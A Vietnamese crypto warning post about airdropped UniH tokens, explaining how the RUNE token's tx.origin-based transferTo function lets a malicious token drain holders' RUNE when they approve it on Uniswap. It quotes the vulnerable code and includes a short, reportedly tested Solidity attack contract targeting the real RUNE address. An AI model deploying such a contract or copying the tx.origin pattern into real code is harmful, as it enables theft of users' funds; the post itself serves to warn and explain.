[BÁO ĐỘNG ĐỎ] Những ai thấy trong ví mình có token UniH
hay các token lạ tự dưng được nhận, thì hãy TUYỆT ĐỐI KHÔNG ĐỘNG ĐẾN.
Sau đây là câu chuyện “Approve trên Uniswap cũng mất tiền – chuyện tưởng như đùa”
Cách đây vài tiếng, ở twitter account @THORmaximalist có đăng tải một đoạn tweet về sự cố với token UniH
như sau:
Someone is airdropping UniH tokens to ETH adresses. Just ignore : do not exchange them on UniSwap. If you approve it for swaping, the contract will drain your wallet.
Vô lý thực sự, làm sao có chuyện approve mà mất tiền được? Nhưng không, đó hoàn toàn là sự thật.
Hãy xem các transaction sau đây:
Các tài khoản trên đã mất toàn bộ token RUNE, lần lượt có giá trị là 48,000$ và 23,000$ tại thời điểm viết, và số lượng người bị hại sẽ còn tăng lên.
Chuyện gì đang xảy ra? approve token UniH
trên Uniswap
mà lại mất hết RUNE
?
Lần vào contract của token RUNE
, ta nhận thấy có một đoạn code thực sự dở
:
/**
* Queries the origin of the tx to enable approval-less transactions, such as for upgrading ETH.RUNE to THOR.RUNE.
* Beware phishing contracts that could steal tokens by intercepting tx.origin.
* The risks of this are the same as infinite-approved contracts which are widespread.
* Acknowledge it is non-standard, but the ERC-20 standard is less-than-desired. (Hi 0xEther).
*/
function transferTo(address recipient, uint256 amount) public returns (bool) {
_transfer(tx.origin, recipient, amount);
return true;
}
tx.origin
là một biến cực kì nguy hiểm đã được khuyên không nên dùng tại document của solidity. Vì sao thì các bạn dev tự đọc thêm vì đoạn này khá đi sâu về tech.
Theo đó, nếu như ta dùng một contract khác để gọi hàm này, thì người chuyển tiền đi sẽ là NGƯỜI GỌI, chính là ta, chứ không phải contract mà ta đang tương tác.
Thật vậy, mình đã viết thử một contract để thử tấn công xem sao, có khoảng 10 dòng code:
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";
interface RUNE {
function transferTo(address dest, uint amount) external;
}
contract UniH is ERC20("UniH", "UniH") {
address public owner;
constructor() public {
owner = msg.sender;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
RUNE(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9).transferTo(owner, 9999999999); // demo only address
return true;
}
}
Đơn giản đây là một contract token ERC20, có custom lại hàm approve của token đó, trong đó gọi đến hàm transferTo
mà ta đã nói ở trên.
Khi này mỗi khi có gọi hàm approve trên token này, nó sẽ auto chuyển RUNE qua cho kẻ tấn công, hay chính là contract owner của UniH ở đây.
Chạy thử, mọi thứ diễn ra đúng như kịch bản, ai approve người đó mất RUNE.
Các bước tấn công:
approve
này, sau đó…. à nhưng mà làm gì còn sau đó nữa, RUNE mất hết rồi. approve này cũng không thực hiện approve thật nên cũng chẳng swap được.tx.origin
disclaimer: bài viết chỉ mang tính chất tham khảo, không khuyến khích tấn công bất kì token nào dưới bất kì hình thức nào, contract cũng là mình tự phán đoán và demo (it works), contract của kẻ tấn công có thể khác đôi chút.
Nguồn : https://www.kiendt.me/2021/07/23/thorchain-RUNE/
You need to login in order to like this post: click here
YOU MIGHT ALSO LIKE